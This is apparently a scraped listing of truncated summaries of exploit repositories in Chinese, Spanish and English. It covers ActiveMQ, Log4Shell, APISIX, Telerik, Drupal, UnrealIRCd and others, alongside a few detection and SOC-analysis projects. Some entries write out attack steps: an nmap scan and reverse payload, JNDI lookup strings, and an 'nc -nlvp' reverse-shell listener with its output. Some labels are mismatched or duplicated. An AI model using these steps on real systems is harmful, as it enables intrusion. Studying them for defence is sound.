CVE-2023-21939

JDK CVE-2023-21939 文章链接 这是 JDK CVE-2023-21939 使用低于 8u371 的 JDK 版本 JDK + Apache XML Graphics root@kitploit: org.apache.xmlgraphics batik-swing 1.15 如何复现此 RCE： 1 运行 XmlServer.java 2 运行 JarServer.java 3 运行 JarRCE.java 进行测试，并成功触发 RCE 截图： JDK + Apache XML Graphics + Mozilla Rhino root@kitploit:...

ActiveMQ_CVE-2015-5254

ActiveMQ反序列化（CVE-2015-5254） 漏洞描述：Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞，该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message ServiceJMSObjectMessage对象利用该漏洞执行任意代码。 影响版本：Apache ActiveMQ 5.13.0之前的5.x版本 0x01 登陆后台确定版本： http://IP:8161 0x02 确定61616端口开放： nmap -sV -Pn -T4 -sC -p 61616 IP 0x03 发送反弹payload： java...

detect-CVE-2019-15107-by-pyshark

detect-CVE-2019-15107-by-pyshark I. CVE-2019-15107 概述 Webmin 是一个基于 Web 的 Unix 系统管理界面。使用任何 Web 浏览器，我们可以设置用户帐户、Apache、DNS、文件共享等。 2019 年 8 月 10 日，土耳其网络安全研究员 Özkan Mustafa Akkuş 在 DefCon 上公开了此零日漏洞，同时发布了一个 Metasploit 模块以自动化利用该漏洞。由于 passwordchange.cgi 文件的密码重置功能中存在代码执行漏洞，允许第三方在无需输入验证的情况下执行恶意代码。 II. 受影响版...

CVE-2018-16341

CVE-2018-16341 Bypass de autenticación de Nuxeo y ejecución remota de código 10.3 mediante un SSTI - CVE-2018-16341 Análisis detallado no en inglés : https://www.freebuf.com/vuls/193000.html https://blog.riskivy.com/nuxeo-rce-analysis-cve-2018-16341/ Aviso de seguridad :...

Telerik_CVE-2019-18935

TelerikUI Python 扫描器 telerikrcescan.py 示例 评估IP是否存在CVE-2019-18935漏洞 $ python3 telerikrcescan.py -t 192.168.44.21 评估主机名是否存在CVE-2019-18935漏洞 $ python3 telerikrcescan.py -t vulnerable.telerik.net 评估CIDR网络范围是否存在CVE-2019-18935漏洞 $ python3 telerikrcescan.py -r 23.253.4.0/24 评估目标列表 $ python3...

CVE-2022-24112

Apache APISIX 2.12.x 远程代码执行 RCE 漏洞利用 此 Python 脚本是 Apache APISIX 2.12.0 和 2.12.1 版本中远程代码执行漏洞的概念验证 PoC。 该漏洞源于管理 API 中 filterfunc Lua 字段的误用，允许攻击者注入任意 Lua 代码，通过 io.popen 执行系统命令。命令的响应将通过 ngx.say 在 HTTP 响应中返回。 ⚠️ 免责声明 ：此工具仅用于授权测试和教育目的。请勿在您不拥有或未获得明确测试许可的系统上使用。 🧰 环境要求 Python 3.6+ requests 库 pip install...

CVE-2021-44228-Demo

CVE-2021-44228-Demo 利用 CVE-2021-44228，通过 RMI 和 LDAP 两种方式远程注入代码的示例。 root@kitploit: Exploit class from RMI Server loaded Hello, $jndi:rmi://127.0.0.1:1099/exploit Exploit class from LDAP Server loaded Hello, $jndi:ldap://127.0.0.1:1389/org.mazhuang.ldap.Exploit RmiServer 和 LdapServer 启动依赖 Python3。 ...

CVE-2026-81480

Dell OpenManage Server Administrator, versions prior to 11.1.0.3, contains a Stack-based Buffer Overflow vulnerability. A high privileged attacker with remote access could potentially exploit this vulnerability, leading to Code execution...

CVE-2026-81480

Dell OpenManage Server Administrator (OMSA) , versions prior to 11.1.0.3 , contains a Stack-based Buffer Overflow vulnerability. A high-privileged attacker with remote network access can potentially exploit it to achieve code execution , resulting in high impact to confidentiality, integrity, and...

CVE-2017-12617

CVE-2017-12617 CVE-2017-12617 vulnerabilidad crítica de ejecución remota de código RCE descubierta en Apache Tomcat Se ven afectados los sistemas con HTTP PUT habilitado mediante el ajuste del parámetro de inicialización "read-only" del servlet Default a "false". Las versiones de Tomcat anteriore...

CVE-2025-48384-poc

CVE-2025-48384 PoC CVE-2025-48384 表现为 Git 中的不当链接解析（符号链接跟随）漏洞。具体来说，带有回车符的文件名在 .git/config 中解析不当，并且将一个指向子模块中 git 钩子可执行文件的符号链接作为子模块钩子目录，可能会导致在通过 git clone --recursive 克隆仓库时执行任意代码。 Git for Microsoft Windows 不受此漏洞影响，主要影响 Linux 和 macOS 上的特定 Git 版本。受影响版本如下： v2.50.0 v2.49.0 v2.48.0-v2.48.1 v2.47.0–v2.47....

CVE-2021-40444-docx-Generate

CVE-2021-40444 docx Generate .docx generar para explotar CVE-2021-40444 Ejecución remota de código en Microsoft Office Word 1. crear un archivo docx en blanco. 2. agregar el objeto "Bitmap Iamge" en el menú "Inert/Object". Agregar Objeto...

xzbot

xzbot Exploración de la puerta trasera de xz CVE-2024-3094. Incluye lo siguiente: honeypot: servidor vulnerable falso para detectar intentos de explotación ed448 patch: parchea liblzma.so para usar nuestra propia clave pública ED448 backdoor format: formato de la carga útil de la puerta trasera...

Centreon-RCE

Centreon-RCE Exploit de ejecución remota de código en Centreon v.19.04 CVE-2019-13024 Revisión de https://github.com/mhaskar/CVE-2019-13024 CÓMO USAR: 1. Edite los valores predeterminados de los argumentos por conveniencia, o no al final del script 2. Si es necesario, edite la función 'editcomman...

monitorr-exploit-toolkit

Kit de exploits para Monitorr RCE mediante carga de archivos no segura reverse shell PHP, webshell, etc. Creación de cuenta de administrador mediante bypass de autorización Fuga de información técnica : versión de Monitorr, versión de PHP, versión y kernel del sistema, configuración de PHP, etc...

CVE-2019-6340

CVE-2019-6340 RCE REST de Drupal8, SA-CORE-2019-003 0x01 búsqueda en docker CVE-2019-6340 root@kitploit: NAME DESCRIPTION STARS OFFICIAL AUTOMATED knqyf263/cve-2019-6340 Environment for CVE-2019-6340 Drupal 0 cved/cve-2019-6340 cve-2019-6340 0 0x02 docker pull knqyf263/cve-2019-6340 root@kitploit...

unrealircd3.2.8.1-local-exploit

Probado en Metasploitable 3 USO Ruby En el shell del atacante root@kitploit: nc -nlvp 1111 En el shell de la víctima root@kitploit: ruby exploit.rb 127.0.0.1 Salida esperada en el shell del atacante root@kitploit: listening on any 1111 ... connect to 192.168.56.102 from UNKNOWN 192.168.56.105 481...

EvilRip

Cve-2020-5029-finder 这是一个用bash编写的小脚本，用于提取对CVE-2020-5902易受攻击的子域名/IP。 受影响版本 在BIG-IP版本15.0.0-15.1.0.3、14.1.0-14.1.2.5、13.1.0-13.1.3.3、12.1.0-12.1.5.1和11.6.1-11.6.5.1中，流量管理用户界面（TMUI）（也称为配置实用程序）在未公开的页面中存在远程代码执行（RCE）漏洞。 使用方法 为了使用此工具，您需要安装httprobe。 配置 首先，在list.txt中列出子域名（带http/https），您可以使用httprobe来实现：...

Log4Shell-CVE-2021-44228-

Log4Shell CVE-2021-44228 - SOC 报告分析 概述 该仓库包含针对 Log4Shell CVE-2021-44228 的全面安全运营中心 SOC 分析，这是 2021 年发现的最关键的漏洞之一。该漏洞影响 Apache Log4j 日志库，对全球各地的组织构成极端风险。 内容 SOCREPORT.md - 完整的 SOC 分析与建议 TECHNICALANALYSIS.md - 该漏洞的深度技术剖析 REMEDIATIONGUIDE.md - 分步缓解策略 DETECTIONINDICATORS.md - IOCs（入侵指标）与检测方法...

parquet-canary-exploit-rce-poc-CVE-2025-30065

Exploit Canario para Parquet CVE-2025-30065 root@kitploit: -. '-. OO OO .-----,--/ ,. ,------. .-----. .----. .-----..------. .-----. .----. .----. ,--. .------. ' .--.\ \ //| .---' .-'/ ,-. / .. / ,-. | | .-' / -. / .. \ / .. \ / .' | | | |'-.\ \ / / | | OO'-' | . / \ '-' | | '--. OO'-' ' . / ...